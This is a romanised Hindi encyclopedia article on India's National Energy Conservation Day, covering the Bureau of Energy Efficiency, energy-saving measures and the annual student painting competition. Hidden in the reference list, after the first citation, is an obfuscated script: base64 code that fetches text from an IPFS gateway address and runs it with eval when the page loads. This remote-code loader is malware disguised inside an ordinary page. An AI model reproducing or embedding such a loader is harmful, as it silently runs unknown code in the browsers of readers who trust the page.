राष्ट्रीय ऊर्जा संरक्षण दिवस
rashtriy oorja sanrakshan divas
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| vivaran | 'rashtriy oorja sanrakshan divas' bharat mean prativarsh mean manaye jane vale rashtriy divasoan mean se ek hai. is din bharat mean bahut-si oorja sanrakshan pratiyogitaoan ka ayojan karaya jata hai |
| desh | bharat |
| tithi | 14 disambar |
| uddeshy | atyadhik aur falatoo mean hi oorja ke upayog ke sthan par kam oorja ke prayog ke liye logoan ko protsahit karana. |
| vishesh | 'rashtriy oorja sanrakshan divas' par ayojit pratiyogita mean bhag lene aur jitane vale chhatroan ko bhagidari praman patr, yogyata praman-patr aur ya nakad puraskar 33,000 rupaye prati rajy diya jata hai. |
| any janakari | bharat mean 'petroliyam sanrakshan anusandhan esosieshan' varsh 1977 mean bharat sarakar dvara bharatiy logoan ke bich oorja sanrakshan aur kushalata ko badhava dene ke lie sthapit kiya gaya tha. |
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rashtriy oorja sanrakshan divas (aangrezi: National Energy Conservation Day) prativarsh poore bharat mean '14 disambar' ko manaya jata hai. bharat mean 'oorja sanrakshan adhiniyam' varsh 2001 mean 'oorja dakshata byooro' (bieeee) dvara sthapit kiya gaya tha. oorja dakshata byooro ek sanvaidhanik nikay hai, jo bharat sarakar ke aantargat ata hai aur oorja ka upayog kam karane ke lie nitiyoan aur rananitiyoan ke vikas mean madad karata hai. bharat mean oorja sanrakshan adhiniyam ka uddeshy peshevar, yogy aur oorjavan prabandhakoan ke sath hi lekha parikshakoan ko niyukt karana hai, jo oorja dakshata pariyojanaoan ko lagoo karane aur oorja, pariyojanaoan, niti vishleshan, vitt prabandhan mean visheshajn hoan.
kya hai oorja sanrakshan?
bharat mean rashtriy oorja sanrakshan divas logoan ko oorja ke mahatv ke sath hi sath bachat aur oorja ki bachat ke madhyam se sanrakshan bare mean jagaruk karana hai. oorja sanrakshan ka sahi arth hai- "oorja ke anavashyak upayog ko kam karake kam oorja ka upayog kar oorja ki bachat karana." kushalata se oorja ka upayog bhavishy mean upayog ke lie ise bachane ke lie bahut avashyak hai. oorja sanrakshan ki yojana ki disha mean adhik prabhavashali parinam prapt karane ke lie har iansan ke vyavahar mean oorja sanrakshan nihit hona chahie. koee bhi oorja ki bachat isaki ganbhirata se dekhabhal karake kar sakata hai, dainik upayog ke bahut-se vidyut upakaranoan ko, jaise: bina upayog ke chalate huye pankhoan, balboan, samaraseviloan, hitar ko band karake adi. yah atirikt upayog ki oorja ki bachat karane ka sabase kushal tarika hai, jo oorja sanrakshan abhiyan mean sabase mahatvapoorn bhoomika ada karata hai. jivashm eeandhan, kachche tel, koyala, prakritik gais adi dainik jivan mean upayog ke lie paryapt oorja utpann karate haian lekin dinoan-din inaki badhati maang prakritik sansadhanoan ke kam hone ka bhay paida karata hai. oorja sanrakshan hi keval ek aisa rasta hai, jo oorja ke gair- navinikrit sadhanoan ke sthan par navinikrit sadhanoan ko pratisthapit karata hai.[1]
oorja upayogakartaoan ko oorja ki kam khapat karane ke sath hi kushal oorja sanrakshan ke liye jagaruk karane ke uddeshy se vibhinn deshoan ki sarakaroan ne oorja aur karban ke upayog par kar laga rakha hai. uchch oorja upabhog par kar oorja ke prayog ko kam karane ke sath hi upabhoktaoan ko ek sima ke andar hi oorja ka prayog karane ke liye protsahit karata hai. logoan ko is vishay par adhik jagaruk hona chahiye ki karyasthaloan par tej roshani vibhinn pareshaniyoan (bimariyoan) ko lati hai, jaise: tanav, sir dard, raktachap, thakan aur karyakshamata ko kam karati hai. jabaki, prakritik prakash karyakartaoan ke utpadakata ke star ko badhata hai aur oorja ki khapat ko kam karata hai.
petroliyam sanrakshan anusandhan esosieshan
bharat mean 'petroliyam sanrakshan anusandhan esosieshan' varsh 1977 mean bharat sarakar dvara bharatiy logoan ke bich oorja sanrakshan aur kushalata ko badhava dene ke lie sthapit kiya gaya tha. ye oorja ka sanrakshan mahanh star par karane ke liye bharat sarakar dvara uthaya gaya bahut b da kadam hai. behatar oorja kushalata aur sanrakshan ke lie bharat sarakar ne ek any sangathan oorja dakshata byooroan ko bhi 2001 mean sthapit kiya gaya.
oorja sanrakshan ke upay
- tharmal pardean, smart khi dakiyoan ke alava khi dakiyaan oorja ka sanrakshan karane mean sabase b da karak hai.
- oorja ki ek b di matra ko prakritik roshani aur k aaumpaikt phloroseant laianp ya siephel se[2], phloroseant balb, raikhik phloroseant, saur smart t aaurch, skaee lait, khi dakiyoan se prakash vyavastha aur saur lait ka prayog karake bachaya ja sakata hai.
- jal sanrakshan bhi behatar oorja sanrakshan ka netritv karata hai. logoan ke dvara har sal lagabhag hajaroan gailan pani barbad kiya jata hai jisaki vibhinn sanrakshan ke sadhanoan, jaise: 6 jipiem ya kam se kam pravah vale phavvaroan, bahut kam phlash vale shauchalay, nal jalavahak, khad shauchalayoan ka prayog karake bachat ki ja sakati hai.
- prithakkaran sardi ke mausam mean tharmal ko kam karane ke sath hi garmiyoan mean tharmal prapt karake bhi oorja ke sanrakshan mean bahut aham bhoomika nibhata hai. udaharan ke liye, prakritik oon prithakkaran, ghar prithakkaran, kapas prithakkaran, resha prithakkaran, tharmal prithakkaran adi.[1]
kaise manayean 'rashtriy oorja sanrakshan divas'
poore bharat mean rashtriy oorja sanrakshan ke abhiyan ko aur prabhavashali aur vishesh banane ke liye sarakar dvara aur any sangathanoan dvara logoan ke bich mean bahut-si oorja sanrakshan pratiyogitaoan ka ayojan karaya jata hai, kyoanki ve hi is abhiyan ka mukhy lakshy hai. kee jagahoan par sangathanoan ke chhatroan ya sadasyoan dvara oorja sanrakshan divas par skool, rajy, kshetriy ya rashtriy star par vibhinn chitrakala pratiyogitaean ayojit ki jati haian. rashtriy oorja sanrakshan abhiyan bharat mean oorja sanrakshan ki prakriya ko suvidhajanak banane ke lie vidyut mantralay dvara shuroo kiya gaya rashtriy jagarookata abhiyan hai. chhatroan ke liye kee staroan par chitrakari pratiyogitaoan ka ayojan is abhiyan ki mukhy gatividhiyoan mean se ek hai, jo is abhiyan mean bhag lene vale bachchoan aur unake abhibhavakoan ke liye oorja sanrakshan ke mahatv ke sath-sath shikshit karane mean madad karata hai.
ye pratiyogita ghareloo kshetroan ke logoan ko bhi jagarook karane mean madad karati hai. har ek pratibhagi ko ek vishay diya jata hai, jaise: “adhik sitarean, adhik bachat”, “vartaman mean oorja ka apavyay, bhavishy mean oorja ki kami” aur “oorja ka bachav bhavishy ka bachav” adi. pratiyogi apane chitroan ko peansil ke rangoan, mom ke rangoan aur pani ke rangoan adi ka prayog karake adhik prabhavashali banate haian. pratiyogita mean bhag lene aur jitane vale chhatroan ko bhagidari praman patr, yogyata praman-patr aur ya nakad puraskar 33,000 rupaye prati rajy diya jata hai. 14 disanbar ko rashtriy oorja sanrakshan divas ke samaroh karyakram mean vidyut mantralay dvara sammanit rajy ke vijetaoan ke bich yah rashi baant di jati hai.[1]
uddeshy
rashtriy oorja sanrakshan divas har sal ek vishesh vishay ke sath kuchh lakshyoan aur uddeshyoan ko dhyan mean rakhakar logoan ke bich adhik prabhavashali banane ke liye manaya jata hai.
- yah logoan ke bich jivan ke har kshetr mean oorja sanrakshan ke mahatv ka sandesh bhejane ke lie manaya jata hai.
- oorja sanrakshan ki prakriya ko badhava dene ke liye poore desh mean bahut se karyakramoan jaise: vichar vimarsh, sammelanoan, vad-vivad, karyashalaoan, pratiyogitaoan ka ayojan karana.
- atyadhik aur falatoo oorja ke upayog ke sthan par kam oorja ke prayog ke liye logoan ko protsahit karana.
- oorja ki khapat mean kami aur kushalata poorvak upayog karane ke liye logoan ko protsahit karana.
bharatiy nagarikoan ki mahatvapoorn bhoomika
bharat ke sabhi aur pratyek nagarik kushalatapoorvak oorja ke upayog aur bhavishy ke liye oorja ki bachat ke bahut se tarikoan ke bare mean janate haian. vo sabhi niyamoan, viniyamoan aur oorja dakshata ka samarthan karane ke liye bharat sarakar dvara lagoo ki gee nitiyoan ka palan karate haian. bharat ke nagarik 11vian panchavarshiy yojana avadhi ke dauran oorja ke upayog ko kam karane ke abhiyan mean pratyaksh aanshadan ka bhugatan kar rahe haian. desh mean sakaratmak badalav lane aur arthik sthiti ko sudharane ke liye bachche bahut b di ummid haian.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 rashtriy oorja sanrakshan divas (hiandi) hindikiduniya.com. abhigaman tithi: 28 aktoobar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 15W aur any sadhanoan ke dvara oorja khapat ka keval 1/4vaan bhag ki khapat
sanbandhit lekh
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varnamala kramanusar lekh khoj
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